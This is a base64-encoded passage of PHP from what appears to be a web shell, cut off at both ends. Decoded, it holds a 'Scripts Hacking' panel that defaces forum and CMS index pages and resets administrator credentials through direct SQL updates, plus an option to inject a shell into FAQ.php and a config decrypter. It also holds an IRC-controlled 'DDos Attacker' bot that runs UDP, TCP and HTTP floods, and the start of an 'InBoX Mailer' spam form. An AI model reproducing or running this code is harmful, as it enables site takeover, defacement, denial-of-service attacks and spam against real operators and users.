SAkcHJlZml4LiJib2FyZHMiIDsKCQkJCQl7CgkJCQkJCSRvazEgPSBteXNxbF9xdWVyeSgiVVBEQVRFICR0YWJsZV9uYW1lIFNFVCBkZXNjcmlwdGlvbiA9Jy4kaW5kZXguJyBXSEVSRSBJRF9CT0FSRCA+IDAiKTsKCQkJCQl9CgkJCQkJaWYoISRvazEpCgkJCQkJewoJCQkJCQkkb2syID0gbXlzcWxfcXVlcnkoIlVQREFURSAkdGFibGVfbmFtZSBTRVQgbmFtZSA9Jy4kaW5kZXguJyBXSEVSRSBJRF9CT0FSRCA+IDAiKTsKCQkJCQl9CgkJCQkJbXlzcWxfY2xvc2UoKTsKCQkJCQlpZiAoJG9rMSB8fCAkb2syKQoJCQkJCXsKCQkJCQkJdXBkYXRlKCk7CgkJCQkJfQoJCQkJCWVsc2UgCgkJCQkJewoJCQkJCQllY2hvICJVcGRhdGluZyBIYXMgRmFpbGVkICEiOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UgaWYgKCRfUE9TVFsnU2NyaXB0VHlwZSddID09ICdteWJiJykKCQkJCXsKCQkJCQkkbXliYl9wcmVmaXggPSAkcHJlZml4LiJ0ZW1wbGF0ZXMiOwoJCQkJCSRvazEgPSBteXNxbF9xdWVyeSgiIHVwZGF0ZSAkbXliYl9wcmVmaXggc2V0IHRlbXBsYXRlPSciLiRpbmRleC4iJyB3aGVyZSB0aXRsZT0naW5kZXgnICIpOwoJCQkJCWlmICgkb2sxKQoJCQkJCXsKCQkJCQkJdXBkYXRlKCk7CgkJCQkJfQoJCQkJCWVsc2UgCgkJCQkJewoJCQkJCQllY2hvICJVcGRhdGluZyBIYXMgRmFpbGVkICEiOwoJCQkJCX0KCQkJCQlteXNxbF9jbG9zZSgpOwoJCQkJfQoJCQl9CgkJCWVsc2VpZigkX1BPU1RbJ2NoYW5nZUluZm8nXSkKCQkJewkKCQkJCSRhZG1pbklEID0gJF9QT1NUWydhZG1pbklEJ107CgkJCQkkdXNlck5hbWUgPSAkX1BPU1RbJ3VzZXJOYW1lJ107CgkJCQkkcGFzc3dvcmQgPSAkX1BPU1RbJ3Bhc3N3b3JkJ107CgkJCQlpZigkX1BPU1RbJ1NjcmlwdFR5cGUnXSA9PSAndmInKQoJCQkJewoJCQkJCS8vVkIgQ29kZSAKCQkJCQkkcGFzc3dvcmQgPSBtZDUoJHBhc3N3b3JkKTsKCQkJCQkkdHJ5Q2hhbmluZ0luZm8gPSBAbXlzcWxfcXVlcnkoIlVQREFURSB1c2VyIFNFVCB1c2VybmFtZSA9ICciLiR1c2VyTmFtZS4iJyAsIHBhc3N3b3JkID0gJyIuJHBhc3N3b3JkLiInIFdIRVJFIHVzZXJpZCA9ICIuCgokYWRtaW5JRC4iIik7CgkJCQkJaWYoJHRyeUNoYW5pbmdJbmZvKQoJCQkJCXt1cGRhdGUoKTt9CgkJCQkJZWxzZSB7bXlzcWxfZXJyb3IoKTt9CgkJCQl9CgkJCQllbHNlIGlmKCRfUE9TVFsnU2NyaXB0VHlwZSddID09ICd3cCcpCgkJCQkJewoJCQkJCQkvL1dvcmVkUHJlc3MKCQkJCQkJJHBhc3N3b3JkID0gY3J5cHQoJHBhc3N3b3JkKTsgCgkJCQkJCSR0cnlDaGFuaW5nSW5mbyA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIHdwX3VzZXJzIFNFVCB1c2VyX2xvZ2luID0gJyIuJHVzZXJOYW1lLiInICwgdXNlcl9wYXNzID0gJyIuJHBhc3N3b3JkLiInIFdIRVJFIElEIAoKPSAiLiRhZG1pbklELiIiKTsKCQkJCQkJaWYoJHRyeUNoYW5pbmdJbmZvKQoJCQkJCQl7dXBkYXRlKCk7fQoJCQkJCQllbHNlIHtteXNxbF9lcnJvcigpO30KCQkJCQl9CgkJCQkJZWxzZSBpZigkX1BPU1RbJ1NjcmlwdFR5cGUnXSA9PSAnam9zJykKCQkJCQl7CgkJCQkJCS8vSm9vbWxhIAoJCQkJCQkkcGFzc3dvcmQgPSBjcnlwdCgkcGFzc3dvcmQpOyAKCQkJCQkJJHRyeUNoYW5pbmdJbmZvID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgam9zX3VzZXJzIFNFVCB1c2VybmFtZSA9JyIuJHVzZXJOYW1lLiInICwgcGFzc3dvcmQgPSAnIi4kcGFzc3dvcmQuIicgV0hFUkUgSUQgPSAKCiIuJGFkbWluSUQuIiIpOwoJCQkJCQlpZigkdHJ5Q2hhbmluZ0luZm8pCgkJCQkJCXt1cGRhdGUoKTt9CgkJCQkJCWVsc2Uge215c3FsX2Vycm9yKCk7fQoJCQkJCX0KCQkJCQkJZWxzZSBpZigkX1BPU1RbJ1NjcmlwdFR5cGUnXSA9PSAncGhwYmInKQoJCQkJCQl7CgkJCQkJCQkvL1BIUEJCMwoJCQkJCQkJJHBhc3N3b3JkID0gbWQ1KCRwYXNzd29yZCk7IAoJCQkJCQkJJHRyeUNoYW5pbmdJbmZvID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgcGhwYmJfdXNlcnMgU0VUIHVzZXJuYW1lID0nIi4kdXNlck5hbWUuIicgLCB1c2VyX3Bhc3N3b3JkID0gJyIuCgokcGFzc3dvcmQuIicgV0hFUkUgdXNlcl9pZCA9ICIuJGFkbWluSUQuIiIpOwoJCQkJCQkJaWYoJHRyeUNoYW5pbmdJbmZvKQoJCQkJCQkJe3VwZGF0ZSgpO30KCQkJCQkJCWVsc2Uge215c3FsX2Vycm9yKCk7fQoJCQkJCQl9CgkJCQkJCQllbHNlIGlmKCRfUE9TVFsnU2NyaXB0VHlwZSddID09ICdpYmYnKQoJCQkJCQkJewoJCQkJCQkJCS8vSVBCb2FyZCAKCQkJCQkJCQkkcGFzc3dvcmQgPSBtZDUoJHBhc3N3b3JkKTsgCgkJCQkJCQkJJHRyeUNoYW5pbmdJbmZvID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgaWJmX21lbWJlcnMgU0VUIG5hbWUgPSciLiR1c2VyTmFtZS4iJyAsIG1lbWJlcl9sb2dpbl9rZXkgPSAnIi4KCiRwYXNzd29yZC4iJyBXSEVSRSBpZCA9ICIuJGFkbWluSUQuIiIpOwoJCQkJCQkJCWlmKCR0cnlDaGFuaW5nSW5mbykKCQkJCQkJCQl7dXBkYXRlKCk7fQoJCQkJCQkJCWVsc2Uge215c3FsX2Vycm9yKCk7fQoJCQkJCQkJfQoJCQkJCQkJCWVsc2UgaWYoJF9QT1NUWydTY3JpcHRUeXBlJ10gPT0gJ3NtZicpCgkJCQkJCQkJewoJCQkJCQkJCQkvL1NNRgoJCQkJCQkJCQkkcGFzc3dvcmQgPSBtZDUoJHBhc3N3b3JkKTsgCgkJCQkJCQkJCSR0cnlDaGFuaW5nSW5mbyA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIHNtZl9tZW1iZXJzIFNFVCBtZW1iZXJOYW1lID0nIi4kdXNlck5hbWUuIicgLCBwYXNzd2QgPSAKCiciLiRwYXNzd29yZC4iJyBXSEVSRSBJRF9NRU1CRVIgPSAiLiRhZG1pbklELiIiKTsKCQkJCQkJCQkJaWYoJHRyeUNoYW5pbmdJbmZvKQoJCQkJCQkJCQl7dXBkYXRlKCk7fQoJCQkJCQkJCQllbHNlIHtteXNxbF9lcnJvcigpO30KCQkJCQkJCQl9CgkJCQkJCQkJCWVsc2UgaWYoJF9QT1NUWydTY3JpcHRUeXBlJ10gPT0gJ215YmInKQoJCQkJCQkJCQl7CgkJCQkJCQkJCQkvL015QkIKCQkJCQkJCQkJCSRwYXNzd29yZCA9IG1kNSgkcGFzc3dvcmQpOyAKCQkJCQkJCQkJCSR0cnlDaGFuaW5nSW5mbyA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIG15YmJfdXNlcnMgU0VUIHVzZXJuYW1lID0nIi4kdXNlck5hbWUuIicgLCAKCnBhc3N3b3JkID0gJyIuJHBhc3N3b3JkLiInIFdIRVJFIHVpZCA9ICIuJGFkbWluSUQuIiIpOwoJCQkJCQkJCQkJaWYoJHRyeUNoYW5pbmdJbmZvKQoJCQkJCQkJCQkJe3VwZGF0ZSgpO30KCQkJCQkJCQkJCWVsc2Uge215c3FsX2Vycm9yKCk7fQoJCQkJCQkJCQl9CgkJCQl9CgkJCQkvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgkJCQl9CgkJCQllbHNlIGlmKCRfUE9TVFsnRGVjcnlwdCddKQoJCQkJewoJCQkJCURlY3J5cHRDb25maWcoKTsKCQkJCX0KCQkKCQkKCQllY2hvICI8L3RleHRhcmVhPjwvdGQ+PC90cj4KCQkJPHRkIHdpZHRoPSc1MCUnPgoJCQk8Zm9ybSBtZXRob2Q9J1BPU1QnPgoJCQk8dGFibGUgd2lkdGg9JzEwMCUnIGhlaWdodD0nNzInIGJvcmRlcj0nMCcgIGlkPSdCb3gnPgoJCQkJPHRyPgogICAgCQkJCSA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICAJCQkJPHRkIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiM2NjY7cGFkZGluZy1sZWZ0OjEwcHg7JyA+U2NyaXB0cyBIYWNraW5nIDwvdGQ+CgkJCQk8L3RyPgoJCQkJPHRyPgoJCQkJCTx0ZCBoZWlnaHQ9JzQ1JyBjb2xzcGFuPScyJz4KCQkJCQkJPGlucHV0IHR5cGUgPSAndGV4dCcgbmFtZT0nSE9TVCcgdmFsdWU9J2xvY2FsaG9zdCc+CgkJCQkJCTxpbnB1dCB0eXBlID0gJ3RleHQnIG5hbWU9J1VTRVInIHZhbHVlPSdEQiBVc2VybmFtZSc+CgkJCQkJCTxpbnB1dCB0eXBlID0gJ3RleHQnIG5hbWU9J1BBU1MnIHZhbHVlPSdEQiBQYXNzd29yZCc+CgkJCQkJCTxpbnB1dCB0eXBlPXRleHQgbmFtZT0nREInIHZhbHVlPSdEQiBOYW1lJz4KCQkJCQkJPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdQUkVGSVgnIHZhbHVlPSdQcmVmaXgnPgoJCQkJCQk8c2VsZWN0IG5hbWU9J1NjcmlwdFR5cGUnID4KCQkJCQkJPG9wdGlvbiB2YWx1ZT0ndmInPlZCdWxsZXRpbjwvb3B0aW9uPgoJCQkJCQk8b3B0aW9uIHZhbHVlPSd3cCc+V29yZFByZXNzPC9vcHRpb24+CgkJCQkJCTxvcHRpb24gdmFsdWU9J2pvcyc+Sm9vbWxhPC9vcHRpb24+CgkJCQkJCTxvcHRpb24gdmFsdWU9J2lwYic+SVAuQm9hcmQ8L29wdGlvbj4KCQkJCQkJPG9wdGlvbiB2YWx1ZT0ncGhwYmInPlBIUEJCPC9vcHRpb24+CgkJCQkJCTxvcHRpb24gdmFsdWU9J215YmInPk15QkI8L29wdGlvbj4KCQkJCQkJPG9wdGlvbiB2YWx1ZT0nc21mJz5TTUY8L29wdGlvbj4KCQkJCQkJPC9zZWxlY3Q+CgkJCQkJCTxiciAvPgoJCQkJCQk8c3k+SW5qZWN0IFNoZWxsIEluIEZBUS5waHAgPyA8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2luamVjdEZBUSc+IFsgVkIgT25seSBdPC9zeT48YnIgLz4KCQkJCQkJPHRleHRhcmVhIG5hbWU9J0lOREVYJyByb3dzPTE0IGNvbHM9NjQgPlB1dCBZb3VyIEluZGV4IEhlcmUgITwvdGV4dGFyZWE+CgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdIYWNrIE5vdyAhIScgbmFtZT0nVXBkYXRlSW5kZXgnID4KCQkJCQk8L3RkPgoJCQkJPC90cj4KCQkJPC90YWJsZT4KCQkJPHRkIHdpZHRoPSc1MCUnIHZhbGlnbj0ndG9wJz4KICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0nMTAwJScgaGVpZ2h0PSc3MicgYm9yZGVyPScwJyAgaWQ9J0JveCc+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjojNjY2O3BhZGRpbmctbGVmdDoxMHB4Oyc+RGVjcnlwdGluZyBDb25maWdzIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9JzQ1JyBjb2xzcGFuPScyJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzeT5QbGVhc2UgUHV0IENvbmZpZyBJbiBUaGUgU2hlbGwgRGlyZWN0b3J5IFdpdGggVGhlIE5hbWUgWyBEZWNyeXB0Q29uZmlnLnBocCBdPC9zeT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB2YWx1ZT1EZWNyeXB0IG5hbWU9J0RlY3J5cHQnIHR5cGU9J3N1Ym1pdCcgaWQ9J0RlY3J5cHQnIHZhbHVlPSdEZWNyeXB0IE5vdyAhISc+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9JzEwMCUnIGhlaWdodD0nNzInIGJvcmRlcj0nMCcgIGlkPSdCb3gnPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPScxMicgaGVpZ2h0PScyMScgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6Ii4kc2hlbGxDb2xvci4iJz4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnPkNoYW5naW5nIEFkbWluIEluZm8gPC90ZD48L3RyPjx0cj48dGQgaGVpZ2h0PSc0NScgY29sc3Bhbj0nMic+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9J2FkbWluSUQnIHR5cGU9J3RleHQnIGlkPSdhZG1pbklEJyB2YWx1ZT0nYWRtaW4gaWQgfj0gMSc+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9J3VzZXJOYW1lJyB0eXBlPSd0ZXh0JyBpZD0ndXNlck5hbWUnIHZhbHVlPSd1c2VybmFtZSc+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0JyBpZD0ncGFzc3dvcmQnIHZhbHVlPSdwYXNzd29yZCAoIE5vdCBFbmNyeXB0ZWQgISknPgogICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2NoYW5nZUluZm8nIHZhbHVlPSdDaGFuZ2UgTm93ICEnPgogICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICA8L2Zvcm0+CjwvdGQ+CjwvdHI+PC90YWJsZT4iOwpmb290ZXIoKTsKCn0KCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIwojICAgICAgICAgICAgIEREb3MgQXR0YWNrZXIgLi4uICAgICAgICAgICMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCmlmKCRfUE9TVFsnU3RhcnRBdHRhY2snXSkKewoJJHNlcnZlcj0kX1BPU1RbJ2lwVG9BdHRhY2snXTsKCSRQb3J0PSRfUE9TVFsncG9ydFRvQXR0YWNrJ107Cgkkbmljaz0iYm90LSI7JHdpbGxla2V1cmlnOwoJJHdpbGxla2V1cmlnPUBtdF9yYW5kKDAsMyk7Cgkkbmlja251bW1lcj1AbXRfcmFuZCgxMDAwMDAsOTk5OTk5KTsKCSRDaGFubmVsPSIjV2F1U2hhcmUiOwoJJENoYW5uZWxwYXNzPSJkZG9zIjsKCSRtc2c9IkZhcmV3ZWxsLiI7CgoJQHNldF90aW1lX2xpbWl0KDApOwoJJGxvb3AgPSAwOwoJJHZlcmJvbmRlbiA9IDA7CgkkdmVyYmluZGVuID0gZnNvY2tvcGVuKCRzZXJ2ZXIsICRQb3J0KTsKCXdoaWxlICgkcmVhZCA9IGZnZXRzKCR2ZXJiaW5kZW4sNTEyKSkgCgl7CgkJJHJlYWQgPSBzdHJfcmVwbGFjZSgiXG4iLCIiLCRyZWFkKTsgCgkJJHJlYWQgPSBzdHJfcmVwbGFjZSgiXHIiLCIiLCRyZWFkKTsKCQkkcmVhZDIgPSBleHBsb2RlKCIgIiwkcmVhZCk7CgkJaWYgKCRsb29wID09IDApIAoJCXsKCQkJZnB1dHMoJHZlcmJpbmRlbiwibmljayAkbmljayRuaWNrbnVtbWVyXG5cbiIpOwoJCQlmcHV0cygkdmVyYmluZGVuLCJVU0VSIGN5YmVyY3JpbWUgMCAqIDp3b29waWVcblxuIik7CgkJfQoJCWlmICgkcmVhZDJbMF0gPT0gIlBJTkciKSAKCQl7IAoJCQlmcHV0cygkdmVyYmluZGVuLCdQT05HICcuc3RyX3JlcGxhY2UoJzonLCcnLCRyZWFkMlsxXSkuIlxuIik7IAoJCX0KCQlpZiAoJHJlYWQyWzFdID09IDI1MSkKCQl7CgkJCWZwdXRzKCR2ZXJiaW5kZW4sImpvaW4gJENoYW5uZWwgJENoYW5uZWxwYXNzXG4iKTsKCQkJJHZlcmJvbmRlbisrOwoJCX0KCQlpZiAoZXJlZ2koImJvdC1vcCIsJHJlYWQpKSAKCQl7CgkJCWZwdXRzKCR2ZXJiaW5kZW4sIm1vZGUgJENoYW5uZWwgK28gJHJlYWQyWzRdXG4iKTsKCQl9CgkJaWYgKGVyZWdpKCJib3QtZGVvcCIsJHJlYWQpKSAKCQl7CgkJCWZwdXRzKCR2ZXJiaW5kZW4sIm1vZGUgJENoYW5uZWwgLW8gJHJlYWQyWzRdXG4iKTsKCQl9CgkJCgkJaWYgKGVyZWdpKCJib3QtcXVpdCIsJHJlYWQpKSAKCQl7CgkJCWZwdXRzKCR2ZXJiaW5kZW4sInF1aXQgOiRtc2dcblxuIik7CgkJCWJyZWFrOwoJCX0KCQlpZiAoZXJlZ2koImJvdC1qb2luIiwkcmVhZCkpIAoJCXsKCQkJZnB1dHMoJHZlcmJpbmRlbiwiam9pbiAkcmVhZDJbNF1cbiIpOwoJCX0KCQlpZiAoZXJlZ2koImJvdC1wYXJ0IiwkcmVhZCkpCgkJewoJCQlmcHV0cygkdmVyYmluZGVuLCJwYXJ0ICRyZWFkMls0XVxuIik7CgkJfQoJCWlmIChlcmVnaSgiZGRvcy11ZHAiLCRyZWFkKSkgCgkJewoJCQlmcHV0cygkdmVyYmluZGVuLCJwcml2bXNnICRDaGFubmVsIDpkZG9zLXVkcCAtIHN0YXJ0ZWQgdWRwIGZsb29kIC0gJHJlYWQyWzRdXG5cbiIpOwoJCQkkZnAgPSBmc29ja29wZW4oInVkcDovLyRyZWFkMls0XSIsIDUwMCwgJGVycm5vLCAkZXJyc3RyLCAzMCk7CgkJCWlmICghJGZwKQoJCQl7CgkJCQlleGl0OwoJCQl9CgkJCWVsc2UKCQkJewoJCQkJJGNoYXIgPSAiYSI7CgkJCQlmb3IoJGEgPSAwOyAkYSA8IDk5OTk5OTk5OTk5OTk7ICRhKyspCgkJCQkkZGF0YSA9ICRkYXRhLiRjaGFyOwoJCQkJaWYoZnB1dHMgKCRmcCwgJGRhdGEpICkKCQkJCSB7CgkJCQkJZnB1dHMoJHZlcmJpbmRlbiwicHJpdm1zZyAkQ2hhbm5lbCA6dWRwLWRkb3MgLSBwYWNrZXRzIHNlbmRlZC5cblxuIik7CgkJCQkgfQoJCQkJIGVsc2UKCQkJCSB7CgkJCQkJZnB1dHMoJHZlcmJpbmRlbiwicHJpdm1zZyAkQ2hhbm5lbCA6dWRwLWRkb3MgLSA8ZXJyb3I+IHNlbmRpbmcgcGFja2V0cy5cblxuIik7CgkJCQkgfQoJCQl9CgkJfQoJCWlmIChlcmVnaSgiZGRvcy10Y3AiLCRyZWFkKSkgCgkJewoJCQlmcHV0cygkdmVyYmluZGVuLCJwYXJ0ICRyZWFkMls0XVxuIik7CgkJCWZwdXRzKCR2ZXJiaW5kZW4sInByaXZtc2cgJENoYW5uZWwgOnRjcC1kZG9zIC0gZmxvb2QgJHJlYWQyWzRdOiRyZWFkMls1XSB3aXRoICRyZWFkMls2XSBzb2NrZXRzLlxuXG4iKTsKCQkJJHNlcnZlciA9ICRyZWFkMls0XTsKCQkJJFBvcnQgPSAkcmVhZDJbNV07CgkJCWZvcigkc29ja2V0cyA9IDA7ICRzb2NrZXRzIDwgJHJlYWQyWzZdOyAkc29ja2V0cysrKQoJCQl7CgkJCQkkdmVyYmluZGVuID0gZnNvY2tvcGVuKCRzZXJ2ZXIsICRQb3J0KTsKCQkJfQoJCX0KCQlpZiAoZXJlZ2koImRkb3MtaHR0cCIsJHJlYWQpKSAKCQl7CgkJCWZwdXRzKCR2ZXJiaW5kZW4sInBhcnQgJHJlYWQyWzRdXG4iKTsKCQkJZnB1dHMoJHZlcmJpbmRlbiwicHJpdm1zZyAkQ2hhbm5lbCA6ZGRvcy1odHRwIC0gaHR0cDovLyRyZWFkMls0XTokcmVhZDJbNV0gJHJlYWQyWzZdIHRpbWVzXG5cbiIpOwoJCQkkV2Vic2VydmVyID0gJHJlYWQyWzRdOwoJCQkkUG9ydCA9ICRyZWFkMls1XTsKCQkJCgkJCSRBYW52cmFhZyA9ICJHRVQgLyBIVFRQLzEuMVxyXG4iOwoJCQkkQWFudnJhYWcgLj0gIkFjY2VwdDogKi8qXHJcbiI7CgkJCSRBYW52cmFhZyAuPSAiQWNjZXB0LUxhbmd1YWdlOiBubFxyXG4iOwoJCQkkQWFudnJhYWcgLj0gIkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZVxyXG4iOwoJCQkkQWFudnJhYWcgLj0gIlVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBOVCA1LjEpXHJcbiI7CgkJCSRBYW52cmFhZyAuPSAiSG9zdDogJHJlYWQyWzRdXHJcbiI7CgkJCSRBYW52cmFhZyAuPSAiQ29ubmVjdGlvbjogS2VlcC1BbGl2ZVxyXG5cclxuIjsKCQkJCgkJCWZvcigkQWFudGFsID0gMDsgJEFhbnRhbCA8ICRyZWFkMls2XTsgJEFhbnRhbCsrKQoJCQl7CgkJCQkkRG9TID0gZnNvY2tvcGVuKCRXZWJzZXJ2ZXIsICRQb3J0KTsKCQkJCWZ3cml0ZSgkRG9TLCAkQWFudnJhYWcpOwoJCQkJZmNsb3NlKCREb1MpOwoJCQl9CgkJfQoJJGxvb3ArKzsKCX0KfQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKIyAgICAgICAgICAgICAgSW5Cb1ggTWFpbGVyICAgICAgICAgICAgICAjCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIwppZiAoJF9HRVRbJ2lkJ109PSAnc3BhbW1pbmcnICkKewoJJHNlY3VyZSA9ICIiOwoJZXJyb3JfcmVwb3J0aW5nKDApOwoJQCRhY3Rpb249JF9QT1NUWydhY3Rpb24nXTsKCUAkZnJvbT0kX1BPU1RbJ2Zyb20nXTsKCUAkcmVhbG5hbWU9JF9QT1NUWydyZWFsbmFtZSddOwoJQCRyZXBseXRvPSRfUE9TVFsncmVwbHl0byddOwoJQCRzdWJqZWN0PSRfUE9TVFsnc3ViamVjdCddOwoJQCRtZXNzYWdlPSRfUE9TVFsnbWVzc2FnZSddOwoJQCRlbWFpbGxpc3Q9JF9QT1NUWydlbWFpbGxpc3QnXTsKCUAkbG9kPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsKCUAkZmlsZV9uYW1lPSRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddOwoJQCRjb250ZW50dHlwZT0kX1BPU1RbJ2NvbnRlbnR0eXBlJ107CglAJGZpbGU9JF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOwoJQCRhbW91bnQ9JF9QT1NUWydhbW91bnQnXTsKCUBzZXRfdGltZV9saW1pdChpbnR2YWwoJF9QT1NUWyd0aW1lbGltaXQnXSkpOwoKCWlmICgkYWN0aW9uPT0ic2VuZCIpCgl7IAoJCSRtZXNzYWdlID0gdXJsZW5jb2RlKCRtZXNzYWdlKTsKCQkkbWVzc2FnZSA9IGVyZWdfcmVwbGFjZSgiJTVDJTIyIiwgIiUyMiIsICRtZXNzYWdlKTsKCQkkbWVzc2FnZSA9IHVybGRlY29kZSgkbWVzc2FnZSk7CgkJJG1lc3NhZ2UgPSBzdHJpcHNsYXNoZXMoJG1lc3NhZ2UpOwoJCSRzdWJqZWN0ID0gc3RyaXBzbGFzaGVzKCRzdWJqZWN0KTsKCX0KCWVjaG8gIjx0YWJsZSB3aWR0aD0nMTAwJScgaGVpZ2h0PSc3MicgYm9yZGVyPScwJyAgaWQ9J0JveCc+Cjx0cj4KPHRkIHdpZHRoPScxNCcgaGVpZ2h0PScyMScgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6Ii4kc2hlbGxDb2xvci4iJz4mbmJzcDs8L3RkPgo8dGQgd2lkdGg9Jzk4JScgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnID5JbmJveCBNYWlsZXI8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9JzQ1JyBjb2xzcGFuPScyJz4KPHRhYmxlIGJnY29sb3I9I2NjY2NjYyB3aWR0aD1cIjEwMCVcIj48dGJvZHk+PHRyPjx0ZCBhbGlnbj1cInJpZ2h0XCIgd2lkdGg9MTAwPjxwIGRpcj1sdHI+CjxiPjxmb250IGNvbG9yPSM5OTAwMDAgIHNpemU9LTI+PHAgYWxpZ249bGVmdD48Y2VudGVyPjxmb3JtIG5hbWU9XCJmb3JtMVwiIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCJcIiBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiPjxici8+Cjx0YWJsZSB3aWR0aD0xNDIgYm9yZGVyPTA+Cjx0cj4KPHRkIHdpZHRoPTgxPgo8ZGl2IGFsaWduPXJpZ2h0Pgo8c3k+WW91ciBFbWFpbDo8L3N5PjwvZGl2PjwvdGQ+Cjx0ZCB3aWR0aD0yMTk+PHN5Pgo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9XCJmcm9tXCIgdmFsdWU9Ii4kZnJvbS4iPjwvc3k+PC90ZD48dGQgd2lkdGg9MjEyPgo8ZGl2IGFsaWduPXJpZ2h0Pgo8c3k+WW91ciBOYW1lOjwvc3k+PC9kaXY+PC90ZD48dGQgd2lkdGg9Mjc4Pgo8c3k+CjxpbnB1dCB0eXBlPXRleHQgbmFtZT1ccmVhbG5hbWVcIiB2YWx1ZT0iLiRyZWFsbmFtZS4iPjwvc3k+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9ODE+CjxkaXYgYWxpZ249XCJyaWdodFwiPgo8c3k+UmVwbHktVG86PC9zeT48L2Rpdj48L3RkPjx0ZCB3aWR0aD0yMTk+CjxzeT4KPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInJlcGx5dG9cIiB2YWx1ZT0iLiRyZXBseXRvLiI+Cjwvc3k+PC90ZD48dGQgd2lkdGg9MjEyPgo8ZGl2IGFsaWduPVwicmlnaHRcIj4KPHN5PkF0dGFjaCBGaWxlOjwvc3k+PC9kaXY+PC90ZD48dGQgd2lkdGg9Mjc4Pgo8c3k+CjxpbnB1dCB0eXBlPVwiZmlsZVwiIG5hbWU9XCJmaWxlXCIgc2l6ZT0yNCAvPgo8L3N5PiA8L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD04MT4KPGRpdiBhbGlnbj1cInJpZ2h0XCI+CjxzeT5TdWJqZWN0Ojwvc3k+PC9kaXY+PC90ZD4KPHRkIGNvbHNwYW49MyB3aWR0aD03MDM+CjxzeT4KPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInN1YmplY3RcIiB2YWx1ZT0iLiRzdWJqZWN0LiIgPjwvc3k+PC90ZD4gPC90cj48dHIgdmFsaWduPVwidG9wXCI+PHRkIGNvbHNwYW49MyB3aWR0aD01MjA+CjxzeT5NZXNzYWdlIEJveCA6PC9zeT48L3RkPgo8dGQgd2lkdGg9Mjc4Pgo8c3k+RW1haWwgVGFyZ2V0IC8gRW1haWwgU2VuZCBUbyA6PC9zeT48L3RkPjwvdHI+PHRyIHZhbGlnbj1cInRvcFwiPjx0ZCBjb2xzcGFuPTMgd2lkdGg9NTIwPjxzeT4KPHRleHRhcmVhIG5hbWU9XCJtZXNzYWdlXCIgY29scz01NiByb3dzPTEwPiIuJG1lc3NhZ2UuIjwvdGV4dGFyZWE+PG